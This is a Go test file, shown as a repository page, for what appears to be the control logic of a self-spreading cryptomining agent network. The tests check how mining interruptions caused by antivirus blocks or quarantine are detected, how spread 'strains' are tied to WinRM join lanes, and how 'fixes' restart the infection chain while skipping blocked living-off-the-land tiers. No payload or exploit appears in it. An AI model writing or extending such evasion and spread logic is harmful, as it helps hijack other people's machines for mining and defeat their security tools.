Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
157 lines
3.7 KiB
Go
157 lines
3.7 KiB
Go
package epidemiology
|
|
|
|
import (
|
|
"encoding/json"
|
|
"sync"
|
|
"testing"
|
|
)
|
|
|
|
func TestDetectInterruptionContinuousMiningNil(t *testing.T) {
|
|
if got := DetectInterruption("a1", StatsInput{
|
|
ActiveMethod: "container",
|
|
MiningHashrate: 120,
|
|
}); got != nil {
|
|
t.Fatalf("continuous mining should not interrupt: %+v", got)
|
|
}
|
|
}
|
|
|
|
func TestDetectInterruptionChainExhausted(t *testing.T) {
|
|
got := DetectInterruption("stuck", StatsInput{
|
|
ChainExhausted: true,
|
|
SpreadStrain: "#aabbcc",
|
|
JoinLane: "winrm",
|
|
FailedMethods: []MethodFailure{{
|
|
Method: "exe_subprocess",
|
|
Reason: "AV blocked",
|
|
At: "2026-06-07T00:00:00Z",
|
|
}},
|
|
})
|
|
if got == nil {
|
|
t.Fatal("expected interrupt state")
|
|
}
|
|
if got.SpreadStrain != "#aabbcc" {
|
|
t.Fatalf("strain=%q", got.SpreadStrain)
|
|
}
|
|
if got.AgentID != "stuck" {
|
|
t.Fatalf("agent=%q", got.AgentID)
|
|
}
|
|
}
|
|
|
|
func TestComposeFixSkipsFailedBranches(t *testing.T) {
|
|
fix := ComposeFix(MiningInterruptState{
|
|
AgentID: "a1",
|
|
ChainExhausted: true,
|
|
FailedMethods: []MethodFailure{
|
|
{Method: "exe_subprocess", Reason: "blocked"},
|
|
},
|
|
LOTLAttempts: []TierAttempt{
|
|
{Tier: "container", OK: false, Error: "no docker"},
|
|
},
|
|
})
|
|
if !fix.RestartChain {
|
|
t.Fatal("chain exhausted should restart")
|
|
}
|
|
if len(fix.SkipTiers) < 2 {
|
|
t.Fatalf("skip tiers=%v", fix.SkipTiers)
|
|
}
|
|
}
|
|
|
|
func TestTrackerObserveAndConsumeFix(t *testing.T) {
|
|
tr := NewTracker()
|
|
var aiCalls int
|
|
var seerCalls int
|
|
tr.SetReporter(Reporter{
|
|
OnAI: func(agentID, action, reasoning string) {
|
|
aiCalls++
|
|
if agentID != "agent-x" || action != "mining_interrupt" {
|
|
t.Fatalf("ai callback: %s %s", agentID, action)
|
|
}
|
|
if reasoning == "" {
|
|
t.Fatal("expected reasoning payload")
|
|
}
|
|
},
|
|
OnSeer: func(event SeerEvent) {
|
|
seerCalls++
|
|
if event.Kind != "mining_interrupt" {
|
|
t.Fatalf("kind=%s", event.Kind)
|
|
}
|
|
},
|
|
})
|
|
|
|
tr.ObserveStats("agent-x", StatsInput{
|
|
ChainExhausted: true,
|
|
SpreadStrain: "#112233",
|
|
FailedMethods: []MethodFailure{{Method: "wsl", Reason: "missing"}},
|
|
})
|
|
if aiCalls != 1 || seerCalls != 1 {
|
|
t.Fatalf("reports ai=%d seer=%d", aiCalls, seerCalls)
|
|
}
|
|
|
|
fix, ok := tr.ConsumeFix("agent-x")
|
|
if !ok || fix.AgentID != "agent-x" {
|
|
t.Fatalf("consume fix: ok=%v fix=%+v", ok, fix)
|
|
}
|
|
if _, again := tr.ConsumeFix("agent-x"); again {
|
|
t.Fatal("fix should be one-shot on auth pass")
|
|
}
|
|
|
|
events := tr.RecentSeerEvents(5)
|
|
if len(events) != 1 {
|
|
t.Fatalf("seer events=%d", len(events))
|
|
}
|
|
var decoded MiningInterruptState
|
|
if err := json.Unmarshal(events[0].Payload, &decoded); err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
if decoded.SpreadStrain != "#112233" {
|
|
t.Fatalf("payload strain=%q", decoded.SpreadStrain)
|
|
}
|
|
}
|
|
|
|
func TestTrackerDedupesIdenticalInterrupt(t *testing.T) {
|
|
tr := NewTracker()
|
|
var calls int
|
|
tr.SetReporter(Reporter{
|
|
OnAI: func(_, _, _ string) {
|
|
calls++
|
|
},
|
|
})
|
|
stats := StatsInput{
|
|
ChainExhausted: true,
|
|
SpreadStrain: "#ff00aa",
|
|
FailedMethods: []MethodFailure{{Method: "gpu_subprocess", Reason: "quarantine"}},
|
|
}
|
|
tr.ObserveStats("dup", stats)
|
|
tr.ObserveStats("dup", stats)
|
|
if calls != 1 {
|
|
t.Fatalf("deduped calls=%d want 1", calls)
|
|
}
|
|
}
|
|
|
|
func TestSpreadStrainFromJoinLaneParity(t *testing.T) {
|
|
got := spreadStrainFromJoinLane("winrm")
|
|
if got != "#ab88e4" {
|
|
t.Fatalf("winrm strain=%q want #ab88e4", got)
|
|
}
|
|
}
|
|
|
|
func TestTrackerConcurrentObserve(t *testing.T) {
|
|
tr := NewTracker()
|
|
var wg sync.WaitGroup
|
|
for i := 0; i < 20; i++ {
|
|
wg.Add(1)
|
|
go func(n int) {
|
|
defer wg.Done()
|
|
id := "agent-" + string(rune('a'+n%26))
|
|
tr.ObserveStats(id, StatsInput{
|
|
ChainExhausted: true,
|
|
FailedMethods: []MethodFailure{{Method: "container", Reason: "fail"}},
|
|
})
|
|
}(i)
|
|
}
|
|
wg.Wait()
|
|
if len(tr.pendingFix) == 0 {
|
|
t.Fatal("expected pending fixes")
|
|
}
|
|
}
|